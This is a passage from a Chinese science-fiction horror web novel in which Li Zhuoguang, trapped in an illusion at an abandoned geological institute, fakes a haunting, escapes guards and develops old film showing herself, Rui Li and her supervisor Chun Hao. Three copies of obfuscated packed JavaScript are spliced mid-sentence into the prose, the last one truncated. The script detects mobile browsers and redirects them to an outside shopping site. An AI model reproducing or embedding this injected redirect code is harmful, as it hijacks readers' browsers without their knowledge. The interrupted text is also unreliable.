黑色的发绳近在咫尺,那两颗黄色的星星因为李琢光查看尸体的动作而微微摇晃,在黑暗的房间里是唯一的亮色。 她想起十岁生日时,那个一直都小大人一样的人面色严肃地找到她,她还以为自己犯了什么错,正惴惴不安地回顾自己的人生忏悔,对方就勾起一个僵硬的笑容,伸出藏在身后的手。 那根发绳就躺在她的掌心里。 那是芮礼亲手做的,星星的边缘没有被磨得特别平整,大概是怕上色涂不满,边角处有涂得过多的颜料堆积。 做得很粗糙,比不上十元店里任何一根批发的发绳。 但那是李琢光最珍惜的发绳。 失踪已久的东西如今就在眼前,只要一伸手就能轻易将它拿回手里。 可是李琢光如何都伸不出触碰它的手。 她双手捧起尸体的脸。 这双与她一样的眼睛没有定点,灰蒙蒙的像拢着一层迷雾,脸颊上的尸斑还未淡去,唇畔苍白而干裂。 伤感到一半,李琢光突然想到一些别的事。 死了六十年以上……但她本人也才六十三岁。 如果十三岁时就死了,尸体肯定不会是这样的。 虽说空间异种的地盘什么东西都可能出现,但能让她的护目镜确认芯片信息也是她,还读取了她的记忆—— 李琢光转头,将护目镜对准周围的尸体,没有一具尸体触发护目镜的芯片检测。 只有她的尸体里有芯片。 的确有复制异种,但芯片在更新后可以有效防止复制异种的复制。 可能是思路被打岔,之前的伤感也找不回来了,她看着那根发绳,伸出手,将发绳从尸体头上褪下,放进腰间的收纳匣。 想了想,还是把自己的尸体背起来。 这具尸体非常轻,背在背上还没一张纸重,李琢光勾着尸体的膝弯,仍需要重复确认尸体还在不在。 她艰难地背着尸体从通道里爬回去,那怪物似乎已经彻底不见了,她从那洞中看出去,外面仍是昏暗的实验室走廊。 她使用金属化,扒着洞的边缘把洞扩大到自己能钻出去的状态,先把尸体抬出去试探一下,确认怪物确实不在周围后,她才钻了出去。 按道理来说……这里应该是五楼。 李琢光将尸体夹在腋下,顺着走廊走,这一层的实验室门合拢着,桌上收拾得干干净净,连仪器都没有。 像还没来得及装修的一层楼。 走到一半,她的目光被墙上的研究人员相片墙吸引过去。 那些相片很新,但也很旧,是最古老的、无法打印动态的那种照片。 李琢光一一与刚才房间里的人脸对上号,每对上一个,就将一张照片取下来拿在手里。 最终,她的目光定格在最后两张照片上。 她,和芮礼。 “滴答滴答、滴答滴答……” 那令人心烦的水滴声又出现了,这次比上一次更快、更急躁,刚响起时还离得很远,只是过了几秒,就仿佛已近在耳边。 她赶紧抽走最后两张照片,抱着自己的尸体往相反的方向拔足狂奔。 “滴答滴答、滴答滴答……” 奔跑到岔路口,李琢光左右快速扫视,看到左侧走廊尽头是楼梯间,而右侧的走廊尽头却是一面沉默的柜子。 楼梯间的门敞开着,连紧急出口的灯都没有,黑洞洞的一片,像是引诱猎物深入的诱饵,等待着将她剥皮剔骨,吃个干净。 柜子的玻璃上看不到她自己的倒影,走廊里规律闪烁的灯光在它的金属外壳上反光,像是几只慢慢眨眼的眸子。 李琢光果断选择左拐。 她一路跑下楼梯。 灰尘一层一层减少,走廊里的灯一盏接一盏打开,实验室的门一扇接一扇地打开,鱼贯而出无数身着白大褂的类人。 她本能地收紧抱着尸体的手,但是手上什么感受都没有,一低头,这才发现尸体早就不见了。 再抬头,她的护目镜上瞬间计算出生物的总数,检测出的种族名称也是「人类」。 李琢光的注意力被一个从她身边走过的人吸引,那人戴着白口罩和无菌帽,脸庞保护严实得只露出一双枯锈冷目。 那人胸口口袋上夹着的身份牌看不清字迹,灯光太亮,反光把重要的部分都遮住了。 李琢光觉得这人好眼熟,目光不自觉地跟着那人走,身体转了一圈,然后被一个抱着高高文件堆的人撞倒在地。 纸张飞起的间隙间,那人似乎回头望了她一眼,随后视线下移,定在她手腕上戴着的发绳。 “对不起对不起!” 撞倒李琢光的女人忙不迭道歉,蹲坐在地上重新拾起散乱的文件。 “六……你怎么回事?这是几天前就要你完成的工作——喂,李琢光,你眼睛看哪儿呢?” 李琢光意识回笼,这才发现她戴着的护目镜、耳机甚至防护服都不知何时不见了,一抬手想要捋头发,又看到发绳出现在自己的手腕上。 一直盯着的人早已不见踪影,李琢光后知后觉地循声看去,是一个面露愠怒的中年女人。 “呃……抱歉。” 她好像判断错误了,不是空间异种,而是幻境异种。 ……这个幻境的前摇也太长了。 虽然不知道发生了什么,但没搞清楚情况前,最好别轻举妄动。 李琢光跟着一起整理文件,但主要是女人在捡,她不知道自己负责什么东西。 “真不好意思。”撞倒李琢光的年轻女性双手合十,不断地鞠躬道歉,她苦着一张脸,眼泪摇摇欲坠。 似乎是李琢光顶头上司的中年女性摆摆手:“没事,下次小心点就行。” 年轻女性如蒙大赦,她匆忙擦去眼眶边的泪水,捧着文件离开。 等年轻女性离开,女人面对李琢光时,脸上的和颜悦色倏地冷下来,压低声音:“你要好好解释解释,怎么今天都还没理完。跟我来!” 李琢光乖乖跟上。 边走着,她边观察周围实验室里的东西。 实验员们忙忙碌碌地交接着手里的工作,或是进行实验,或是聚在一起讨论。 没有人对经过的人投诸好奇的视线。 她偷偷翻开手里的资料。 六十二号实验室所研究的区域是凤凰座θ-3709-1距离地面深三千米处的土壤,在这一深度下,挖掘作业组挖出了一个完整的建筑遗骸以及一些千年前的古老机器。 那都是历史书里写的老古董了——手机、机械手表、人力操控挖掘机…… 实验人员怀疑,在θ-37和θ-09上的生命登陆θ-3709-1以前,就已经有其她生命在此建立过星际研究所了。 不一定是城市,因为没有发现成群的建筑。 但奇怪的是,千年以前,这些古老机器的发明种族——人类,才刚刚掌握飞上卫星月球的技术。 而人类的历史中,也未曾记载任何外星生命的到来,并偷走了那些古老机器。 目前已经将挖掘作业组挖出所有的土壤和钢材、仪器都检测了一遍,并且请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14026445|148774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了人类、θ-37和θ-09的历史学家。 土壤和θ-3709表面的土壤成分一致,钢材、仪器也与人类历史上建筑使用的钢材成分一致。 如果事情到此为止,那么需要头疼的只是人类与θ-37、θ-09的历史学家。 但是在实验组准备将工作移交文献研究组的第二天,原本放在真空收纳柜中的仪器全都变成了双份。 这一意外让移交工作被迫停止,实验组重新检测起成分。 而原本仪器是完全没有辐射波动的,在变出复制体后,复制体的辐射波动竟然直接高了一个等级。 无奈之下,她们只能将仪器放进辐射隔离柜中。 那并没有用,翌日,全又分裂出多一倍的仪器,而本体的辐射波动同样高了一个等级。 实验组试了不下三十种方法想要停止仪器的分裂,包括辐射隔离、物理隔离、化学隔离、将仪器重新埋回土里…… 全都没有用处。 将仪器重新埋回土里那个办法消停了很久,最终还是被土地上鼓起的小包打断了实验人员成功的喜悦。 从土里挖出几千几万个仪器,一时本体辐射波动几乎超过能检测的最高值。 ——虽然根据计算,用土壤包裹确实使其的分裂暂停了一周左右的时间。 记录到此为止就结束了,后面分明还有好几张纸,但全是空白的。 现在情况很明了,明明还有很多疑点的六十二号实验被莫名叫停,甚至地质研究所废弃都是由于这个会分裂的仪器。 现在这些文件都需要归档。 保留纸张记录最初的源头就是在于部分人对技术可靠性的怀疑,不论是保存还是保密,所以纸张记录一直留存至今,也算是为重要材料多一层保护。 看上去是想要彻底清除六十二号实验的一切,却不亲自对原始的纸张记录进行销毁…… 太矛盾了。 还是说她现在扮演的角色是领导的心腹,而她本来应该听得懂领导的言下之意,将文件「销毁」? ……可是为什么是用她原本的名字称呼她呢? 而且一看到「复制体」,李琢光就想到刚刚一直抱在怀里但是突然不见的她的尸体。 不过不管那些仪器分裂出复制体的原理是什么,至少李琢光本人不是从这里的土地里挖出的文物。 这倒是提醒她了,她应该看一眼自己的辐射波动的,之前因为她不可能有辐射波动,所以从来没有查看这一数值的习惯。 ——但是现在身上所有的设备和终端都不见了,她想看也看不了。 女人打开走廊尽头的房门,带着李琢光走了进去。 她的办公室里很整洁,还有一个很眼熟的柜子。 “好了,你现在给我好好解释,为什么这些资料还没有归档。 “我对你千叮咛万嘱咐,这些资料非常重要,必须立刻锁进档案室,你把我的话当放屁?” 女人一边拿起一张发网盘头发,一边责问。 李琢光恰好停在柜子前,她抬头看向柜子。 “因为……我……” 玻璃里属于她的倒影没有张嘴,而是看了她一眼,往后仰,像是在挑一个观赏的好角度,双手在胸前交叉,各自比出一个「三」。 做完这一切,她放下手,缓缓露出了一个不怀好意的笑容。 领导许久没有得到李琢光的回答,怒火直冲头顶,往前迈了两步,进入了柜子的玻璃倒影中。 她手里拿着卷成筒状的纸,对着李琢光的脑袋高高举起。 5. 地质研究所(五) 在领导的纸筒打下来的前一刻,李琢光紧急往旁边退了半步:“因为我发现您的柜子好像变异了。” 领导的动作顿了一下,狐疑地看向房间里的柜子。 李琢光的倒影似乎不再出现任何异常。 领导摇头:“目前为止没有死物变异的前例,而且——”她指指门边的辐射检测仪,“检测仪没有异常,你死心吧,乖乖给我解释。” 李琢光将手里的文件递到领导面前,更近的距离让她看清领导胸牌上名字是「椿好」。 一个很熟悉的名字,她在哪儿见过呢? 那个照片墙?嗯……没有。 她说:“椿总,我不知道您有没有读过这份文件。” 椿好挑起半边眉毛,从鼻子里叹出好大一口气:“这是三级机密,私自阅读是要开除的。你有和别人说过吗?” 李琢光:“……” 李琢光:“没有,但是——” 但是她又不是真的这里的实验人员。 椿好恨铁不成钢地用手里的扁纸筒打了李琢光的后脑勺一下,看着用了狠劲,实则更像摸了摸小猫的脑袋。 “你什么时候才能成熟一点,啊?” 她略显烦躁地在房间里来回踱步:“我不能带你一辈子,李琢光,在这个时代只有才能是不能当饭吃的!” 这句话多么耳熟。 在夜灯辐射发生前,李琢光不知道听过多少人说过多少次,她从来不当回事,因为她自恃才能已超越需要稳重处事的界限。 直到夜灯辐射,她的世界一夜之间崩塌,才终于真正明白这句话。 她低下头,像一头被顺毛伏地的老虎:“抱歉,但我还是想说——” “行了,东西给我。”椿好微不可察地翻了个白眼,从李琢光手中夺过文件翻起来。 越看她越是心惊,掠过最后几页空白,她复杂的目光落在办公室唯一一个柜子上。 几息后,她略有颤抖的声音响起:“若是死物变异不会有辐射波动,我凭什么确定这里只有一个柜子变异了?” 按理说李琢光该安抚椿好的,因为她在废弃的研究所里只发现了一个死物异种。 但谁又能确定,废弃的研究所不是一个巨大的罗马斗兽场,所有死物异种在漫长的时间长河中决一死战,吞并到最后只剩一个呢。 而且……她目前还没搞懂幻境前摇中几个怪物分别代表什么。 李琢光默了默,实话实说:“确实不行,但目前暂无其她家具或仪器变异异象。” “异象?”椿好捕捉到关键词,“所以你看到我的柜子有异象?什么异象?” “我在玻璃上的倒影冲我笑。”李琢光指着自己的倒影,“但是你一走过来就不见了。” 她现场编胡话:“我经常会看到类似的影像,但我之前一直以为是我没睡醒,直到看到这份文件后,我才明白原来不是我的错觉。” 她垂下眸子开始装可怜:“因为实验没有后续,所以我也知道上面对这实验的态度是什么,就不敢来报告。 “这两天我一直睡不好觉,做噩梦梦见我的床也变异了。” 大概是被李琢光的情绪感染,椿好想靠在桌子上的动作生硬地转了个方向。 她清清嗓子掩饰尴尬:“不过这就麻烦了,先不说上面封存却不销毁的原因是什么,拿着这东西出去说,没人会相信。” “那我们偷偷排查呢?”李琢光提议,手上熟练地为椿好倒了一杯热茶,“比如,先从研究所里有几个这样的柜子开始。” 椿好有些诧异地接过杯子,像头一天认识一样上下打量李琢光:“你没给我下毒吧?” 李琢光:“……没有,您放心。” 椿好的唇畔抵着杯沿,她似是在回忆,也似是在斟酌李琢光的方法是否可行。 “这个柜子是统一订购的,每个办公室里都有一到三个,档案室里有五十多个,一个人排查不现实。” 李琢光没有异能,武器都不见了,她无法只靠自己打破空间。失去了终端,她也无法向真正的芮礼传递坐标信息。 如今只能走一步看一步……有种打游戏做主线任务的感觉。 “还有一个办法。”李琢光一只手摩挲着下巴。 椿好喝了一口热茶,发现温度刚好时,对李琢光的印象又拔高了一层:“说。” 李琢光目光稍凝:“我们把这个事情闹大,类似于六十二号实验室闹鬼的传闻,制造几个目击证人以及受害者,最好是说话有份量的…… “闹到人尽皆知,她们就不得不管了。” 李琢光对这里没有任何归属感,她甚至都不觉得自己身边的实验员是活人,所以说起这些来也毫无心理压力。 而她平淡的语气听在椿好耳朵里简直宛如惊雷。 女人呼吸一窒,张嘴就要训人,但她很快反应过来李琢光的方法确实是现下最便捷、快速的了。 见女人面露挣扎与犹豫,李琢光就知道此事可行。 她循循善诱:“而且如果死物变异真的存在不止一个,那么闹鬼的传闻说不定一直有,只是被镇压着。” 她上身前倾:“椿总,您带了我这么久一定知道,我有分寸的。 “若是事情败露,我会承担所有责任。” 椿好转头望向窗外,空中的两颗共轨行星像是一双注视着苍生的温柔眼眸,更远处的恒星稳定地提供着光源。 宇宙就这样静谧地拥抱着每一个看向它的生命。 “这时候说这些……”椿好的眼尾染上一抹无奈的微红,“在我把你从焚化炉的队伍里揪出来的时候,我们两个就彻底绑定了。” 李琢光瞳孔瞬缩。 她是真的……曾经因为没有价值而颓废,自愿签下安乐死协议,准备一死了之。 椿好到底是谁? 这具身体到底是谁? ……还是为了让她有更多代入感? “去吧,但这次我没法给你兜底了,要死只能一起死了。” * 脸色苍白、满头冷汗的少年瑟缩着走进辐射体检室,她眼珠神经质地乱转着,好像每一个人都在酝酿着害她的计划。 “哟,稀客啊。” 注意到少年身影的医务人员很是稀奇,她声音一出,周围人也看了过来。 “你又没有异能,来咱们辐射体检室干什么?” 说话的医生走到少年身旁,对方却很抗拒她的靠近,吓得一跳几步远。 “李琢光,你怎么了?不认识我了?” 少年似是用了十分力气才听懂医生的话语,她用力瞪着双眼,片刻后又改为眯眼。 她一直在观察,医生不敢动——应该说,整个体检室里,无论是医生还是正在体检的实验人员都不敢动了。 李琢光的状态太异常了,有医生偷偷凑近安保按钮,准备见状不对就立刻封锁李琢光的行动。 良久,李琢光终于有了变化,她夸张地扁嘴,眼眶中迅速蓄起泪。 “我好害怕,我好害怕……”她手舞足蹈,又跳又蹦,“柜子、柜子张开嘴,把椿总吃了!” 她一把抓住医生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14026446|148774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没来得及收回去的手,咧着嘴笑:“柜子,快去看看柜子!” 她的身后聚集起许多研究人员,她们手中大多还捧着资料,眼睛假装正在工作,耳朵却努力往这里探过来。 医生无助地回头看向走来的主任,用眼神催促:“王任!” 王任快步走到医生身边,没有刻意放低声音,不耐烦地皱眉:“先把她送去检测理智值。” “不要!你是想害死我!”李琢光松手,从衣服拽出来一大沓早就准备好的理智报告。 她的身体素质可比坐办公室从不锻炼的医务主任好得多,猛地后退两步,像发传单一样迅速把理智报告塞进周围每一个人手里。 “我的理智是满的!”李琢光发完报告,暗暗观察着周围人的神情,不动声色地退到一个方便逃跑的地方,“就是闹鬼了!就像六十二号实验室当初那样! “你想瞒一辈子,害得大家都因为这事死掉吗?做梦!” 主任的脸瞬间变得铁青,他按上耳机:“医务室异常,请求支援!” 李琢光满意地看到人群中有不少人因为她这一句话神色剧变,她大概记住了这些人的模样,然后像条泥鳅一样从人群的缝隙中蹿了出去。 “她往4D走廊跑了!” 话音刚落,转角处突然出现一个巨大的史莱姆,像一张网似的拦在整个通道内。 左手拐角处则有两个双手改造成枪械的仿生人,正前方则是正在疏散研究人员、围堵李琢光的保安人员。 李琢光没有犹豫就往左边跑去,仿生人调整手臂朝向,瞄准李琢光。 她就地一滚躲过仿生人射来的一支镇静剂,将胸口口袋里别着的钢笔握到手里。 她踩着墙壁借力,弹起瞬间抬起手臂,捏在手腕边的钢笔恰好挡住第二只镇静剂。 借着这短暂的空挡,她直直送出手中钢笔,精准刺入仿生人胸口的控制中枢。 李琢光抓住报废的仿生人手臂,手肘往下一砍,直接把它的手臂卸了下来。 忘记她现在用不了观千剑的金属化了…… 李琢光的脸都皱起来,旋身一脚踹在仿生人胸口将它踹退几步,举着那只手臂,用枪尖端那头狠狠刺入。 然后直接握着仿生人完好的手臂,对着身后射出镇静剂,大多都打在史莱姆身上,但也撂倒一片安保人员。 挡路的威胁都解决了,她捂住发麻发酸的手肘转身就跑。 痛死了……真的痛死了!! 她按照椿好给她划定的路线一路飞奔,把身后的人都甩了个干净。 还顺道将沿路的摄像头都拿各种随手捡起的东西破坏,最后丝滑地躲进目的地杂物间里。 这个杂物间已经很久没人来过了,防尘罩上都积攒了厚厚的一层灰。 李琢光将地上的灰都用鞋底归到边上,小心地拢着白大褂不碰到旁边的东西,找到椿好说可以开启暗门的地板块,用力踩了一脚。 一扇有些生锈的暗门缓缓打开,掉落了不少灰尘。 李琢光故技重施地将灰尘归到一起去,再走入暗门。 门在她背后合上,不久之后,她听到外面有人撞开杂物间的门,吵吵嚷嚷地进来检查。 尽管比防尘罩上更干净的地面叫人生疑,但外面的人绕了一圈也没有发现什么门。 有人说:“我留在这里继续找暗门,你们先去别的地方找。” 外面的人群很快散去,重归平静。 李琢光听到她叩响了墙壁。 “麻烦开下门,里面有人的时候地板踩不下去。” 6. 地质研究所(六) 李琢光没有动。 门外人走了两步,敲门声响起时更偏移了一些。 “椿总让我来帮你的,李琢光,开一下门。” 李琢光还是没有动。 椿好的确说过研究所里有她的人,也说过会来帮助李琢光。 但李琢光并不觉得外面这个人就是援军。 这人根本就不知道暗门在哪里,若真如她所说是房间里有人地板就踩不下去,也不会到处敲。 毕竟现在正是要获取里面人信任的重要时刻。 而通过周围防尘罩上的灰尘没有减少,能够推断出暗门或者开启的方法在地面。 等了一会儿,外面响起一声重重的叹息、渐远的皮鞋声与开关门的声音。 这声叹息很明显是表演给她看的。 李琢光转过身,她没有轻举妄动,只停留在原地观察室内。 这是一间简直称得上是遗迹的房间,室内昏暗,唯有桌上亮着无比暗淡的红光。 李琢光费劲地从自己的历史学识中匹配出四个字——胶片曝光。 这种房间好像是叫暗房? 那都是几千年前的事情了……胶片曝光的原理是什么来着…… 李琢光没有过目不忘的记忆异能,只能纯靠自己大脑记忆。 在夜灯辐射以前,她多少算是个天才,等到大家都觉醒异能以后,她的那点才能就不够看了。 所幸那些因为异能觉醒而大幅降价的身体增强剂都被她买了回来,尽管远远比不上变异后增强的体质,聊胜于无。 她踮着脚,一点声音都没有地绕过地上模糊的障碍物。 那都是一些古老的纸箱子,箱子里的东西李琢光都不认识。 在那个亮着红光的桌面旁是一个装满水的小池子,桌面上码着各式各样的小夹子和工具。 那些东西都一一与她记忆中的名词对上号。 暗袋、显影液、虹吸管…… 这个暗房的干区与湿区分得并不分明,在代表干区的桌子上还放着一卷胶带,似乎正等着曝光。 侧面墙壁上则挂着许多静态相片,李琢光眯着眼睛凑近,看得眼睛都快瞎了,也只分辨出三个不同的人。 只能大概看出是三名女性,但是具体长什么样就完全看不清了。 很神奇,如果是一千年前的文物,纸箱子不管怎么保存,到如今也快烂完了,不可能是像这样崭新硬朗的样子。 不过,因为有了更环保、造价更低还不会变形的材质出现,纸壳箱这一材质如今已经几乎没有厂家生产。 少数生产纸壳箱的厂家也是针对复古癖好,喜欢用硬纸板制作出的家具的有钱人。 至少还在研究所里当苦力的小喽啰是买不起这么多的。 椿好的薪水都够呛能买两三个。 所以如果这些不是千年前的文物,还能是哪儿来的?真是买的? 干地质的研究员这么挣钱?! 外面还有人,她无法手脚大开地做什么事。 她的目光落在桌面上的胶卷。 李琢光回忆着她记得的胶片冲洗步骤,将胶卷缠到冲洗罐上。 她的操作并不熟练,磕磕绊绊地,一边放入水池中洗,一边听着外面的动静。 外面的人安静得很,似乎是为了等待她先暴露自己。 不过冲洗胶片完全不会有任何过响的声音。 嗯……要先倒显影液。 李琢光透过昏暗的红光勉强辨认着两瓶液体上的字迹,但很快她就放弃了。 反正这也是幻象,大不了一次正着来,一次反着来,顶多报废一张胶片。 这么想着,她分别剪下两片胶片,小心地不碰触到画面部分。 这个举动合不合规她如今是没机会知道了,只要一会儿能让她看到影像就行。 她其实对能洗出什么重要影像也不抱有希望,纯粹是在这里消磨时间等待外面的人离开罢了。 洗出来的多半是地质研究所、或是这间暗房主人的往事。 她从干这一行起,就无数次告诫自己,好奇心是最没有用处的东西。 回收废弃物不需要知道研究所的过去,清理滋生的异种也不需要知道异种的过去。知道得越多,就越会将自己置于危险的境地。 接一级任务的那点微薄工资还不值得李琢光拼命。 她用不同的顺序往两张胶片的冲洗罐中倒入显影液与定影液,最后用镊子夹出来,夹在绳子上晾干。 这时,外面的杂物间再次响起开关门的声音。 李琢光将注意力都集中在耳朵上,侧耳细听。 也不知是暗室的隔音太好,还是李琢光的耳朵太差,她听到的唯有一片静谧……与规律的滴水声。 滴水声? 李琢光眉头交斜,她怎么一直都没注意到这声音。 她偏头,想确认滴水声究竟从哪里传来,但她一动,那声音就消失了。 李琢光只好在原地等着,约摸半分钟后,滴水声又响起来了。 这声音好像在…… 滴水声像是通过什么三百六十度环绕的广播放出的,围着她身边转圈,让她无法确定是哪个方向。 李琢光双眉皱得更紧了。 好像……不止一个声音。 随着注意力愈发集中,李琢光其她的感觉都逐渐趋近于无,这时候,她发现自己能分辨出水滴声之间细微的差距。 在……十点钟方向、十二点钟方向、以及……二点钟方向各有三个。 李琢光猛地回神,睁大眼睛喘气。 过度使用耳朵导致她感觉耳朵内部钝痛,心跳都与那钝痛同频。 偶尔这种时候,她也会骗骗自己,这是她的异能。 她从旁边的箱子里抽走一张纸,小心地往十点钟方向走去,走起来时,那声音就彻底消失了。 李琢光根据记忆走到墙角,在那里重新听了一遍,缩小排查范围。 将头靠在桌子边沿,目光在黑暗中扫视,锁定了桌面下角落里的一点红光。 由于红光底下就是与室内光源一样的灯,若不仔细辨别,只会以为那就是灯光照出来的。 她整个人钻到桌子底下去,离得如此之近时,那水滴声才显露出原本面目。 低沉的、慢悠悠的提示音。 李琢光伸出手中的纸去够那点红光,确认了没有防御机制后,才直接上手。 是嵌在桌子里的仪器,李琢光的手一放上去灯就暗了,手拿开后又亮了。 她试图摸出仪器的边缘,好把它卸下来,但她并没有摸到类似的分界线。 是完全装在桌子里,只露出一个灯的仪器。 李琢光大概猜得出类似的仪器会有什么作用—— 检测桌子是否正在使用,通常是需要通电或连接网络的,当桌子并不在使用时,及时断电或断触控以保证安全。 但是装在这些桌子里的仪器显然不止这点作用。 即使李琢光只是站在曝光室里,身体哪儿都不挨着桌子,它们也会随着李琢光的动作变化。 这时,蹲在连接杂物间那面墙壁旁的李琢光听到外面有含混的讨论声。 李琢光屏住呼吸。 听不清。 她努力集中精神,也只是将迷雾剥去一层,能听到一些音调较高的字眼和模糊的字数,但在一层之后还有更多、数不清的距离。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14026447|148774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那人一边说话,一边再次响起开关门的声音。 “……■■■■杂■间。■■■■追踪■?■■■定有■■,大不了■这砸■。” …… “■■……” ……真能折腾啊。李琢光暗暗翻了个白眼。 她从桌子下钻出来,依葫芦画瓢地找到剩下两个仪器的位置。 十二点钟方向的这个声音稍大一些,灯光也更亮一些。 李琢光站在昏暗的密室中央,疲惫地闭上眼,揉捏着鼻梁。 用眼过度,现在她整个脑袋都发涨,甚至都说不出更亮与更大的声音是不是她五官疲劳后的幻觉。 她打算歇一会儿,取下了绳子上晾着的照片,琢磨着自己冲洗的两张应该也算晾干了,便一起拿走。 她找到开门的机关,没有犹豫就直接打开了门。 李琢光知道外面的人一定已经走了,因为后面那次说话,那人刻意压低了声音,对话也随着关门声被截断。 事实上,就算那人没有走,李琢光都必须要出去了。 再在这里待下去,她怕出去之后眼睛就瞎了。 ——大不了再打一次架,逃一次亡,在研究所的走廊里像疯子一样大喊六十二号实验室闹鬼啦…… 反正她不属于这里。 李琢光眯着眼睛适应光线,意料之内地看到空空如也的杂物间。 她松了口气,先去把杂物间从里面反锁上。 地上因为来者鞋底太过干净而在灰尘之间踩着许多杂乱无章的脚印,暗门开关时仍然会落下灰,但由于空气流通之类的原因,落下后的范围比本身要大得多。 难怪追过来的人能知道暗门在哪面墙上,甚至第一次找得很准确。 李琢光打量着防尘罩,把照片妥帖地收进口袋里之后,憋着气揭起。 底下是一个破破烂烂的金属缸,大概因为收纳起来时没擦干净水渍,导致边角处有些发霉。 灰尘顺着她的东西滑落到地面上,她再揭起旁边的防尘罩。 被遮住的是一个纸箱子,这个箱子比暗房里的烂一些,角被撞得往里凹陷。 里头装着的东西都是一些曝光失败的胶片。 完全辨认不出拍了什么东西。 李琢光将剩下的防尘罩都揭下来,在地上东堆一堆,西堆一堆,还将靠近墙壁的部分踩踩实。 幸好那些灰尘都结成大块的,很少有散尘飞起来。 被防尘罩罩住的东西几乎都是摄影相关的,破损的相机镜头、烧坏的零件…… 都是些古老的、只能拍摄出静态照片的相机型号。 没有一个是与地质研究所相关的要件。 这个杂物间与里面的暗房是一套的,但与外面的地质研究所是完全无关的。 李琢光摸摸后脑勺。 她不知道……她什么都不知道…… 她什么都没看到。 给自己洗完脑,她转身走向光源。 将照片放在光线下,就能看清那上面的人脸。 这些照片都是黑白的,她冲洗的两张胶片有一张失败了,还有一张上留着淌下的水渍。 多半是她那个违规操作造成的,只能隐约辨认出是一张静物照,可能是森林,也可能是河流。 虽然第一次居然能洗出图案这点让她着实有点亢奋,但确实没什么用。 她习以为常地收起那两张冲洗失败的照片,转而去查看暗房里本身挂着的相片。 冲洗的技术不算很好,有很多张都过度曝光或是看不清。 在最清楚的那张照片上,李琢光终于看清了那三个人的人脸。 椿好、芮礼,以及她。 7. 地质研究所(七) 李琢光心下剧震。 她没有异能,无法理解异能者口中玄乎的异能原理,也无法像她们那样理所当然地知道某种异能是否合理。 她只能把一切都想成可能的,死记硬背等级之间的差异。 所以她很快给这张照片找了个合理的原理。 ——由于照片中有一个人正是她所扮演的角色,为了让她有更多的代入感,所以幻境异种读取了她的记忆,将另一个人篡改成她有着相同关系的芮礼。 什么关系呢?手下小组里的副组长,还是从小一起长大的青梅? 随即,她注意到三人胸口挂着一个胸牌,胸牌上刻着几个大字。 她下意识伸出食指和大拇指,按在照片上做了个放大的手势。 李琢光:“……” 她有点被自己无语到了。 她转而翻阅着剩下的相片。 胶卷曝光的水平并不稳定,有十分清晰的,也有和李琢光操作出来的成品差不多的。 这些照片似乎可以串联起来组合成「李琢光」的一生。 从考入大学开始,上课、社团活动、休息、图书馆通宵、考试前临时抱佛脚…… 中间还有考上研究生和博士的照片,日常照也挺好区分的,学历越高越憔悴。 照片很像是关系亲密的友人拍摄的,有些明显是抓拍,有些角度很奇怪。 看着这些生动的照片,李琢光仿佛就能看到「李琢光」的大学十二年。 算算时间,看在追查她的那些人还想不到、不习惯使用异能的状态,现在应该是夜灯辐射刚发生,大家没有太接受异能的时候。 所以也就是…… 四十年前的事。 那时候她刚从大学毕业不久,还没来得及伸展抱负就被突如其来的变故打击得失去信心。 这时候,「李琢光」已经读完博士,进入工作——呃,六年? 最后一张相片上,「李琢光」兴奋地向镜头展示她连续五年被评为三好员工的奖状。 李琢光本人是从工作第二年开始获得三好员工的,假设她可以把自己的经历完全代入,那么「李琢光」应该也是。 这样算下来,「李琢光」比她大了约摸十三岁。 李琢光把拿出来的一叠照片都看完,本来还想着从里面找一些关于六十二号实验室的线索,结果原来这密室是「李琢光」的秘密基地。 罪过。 李琢光又跑了几趟,把剩下的胶卷都冲洗出来,后来干脆直接拖着箱子出来,一张一张查看相片。 由她冲洗的部分几乎都是「李琢光」、「芮礼」以及椿好的照片,在箱子里的部分倒是有几张拍到了实验室的一角。 千年以前的胶卷没有触摸放大功能,李琢光只能把那几张疑似的收进口袋里。 科技落后就是这么麻烦! 她在心里嘟囔着,把箱子都物归原位,关上暗门,再踩乱地上的痕迹。 在杂物间内等到天黑,估摸着到了下班时间,门下缝中透进来的走廊灯光也灭了。 李琢光打开房门,见四周无人看守,也正好没有人经过,她顺利溜了出去。 椿好给过她研究所平面图,加上她为了搬运废弃仪器走过很多遍,记下布局并不困难。 她格外注意了摄像头,不知是不是在幻境中的原因,竟然没有被修好。 太顺利了,顺利到她觉得有陷阱在前面等着她。 研究员们大多都下班了,只剩每个实验室里留下的一两名值班人员。 黑暗的走廊里只有紧急出口的灯以及实验室玻璃透出的光亮稳定地提供光源。 她从实验室门前的桌子上顺走一张口罩戴上,下一个转角处就遇见正准备回宿舍的研究员。 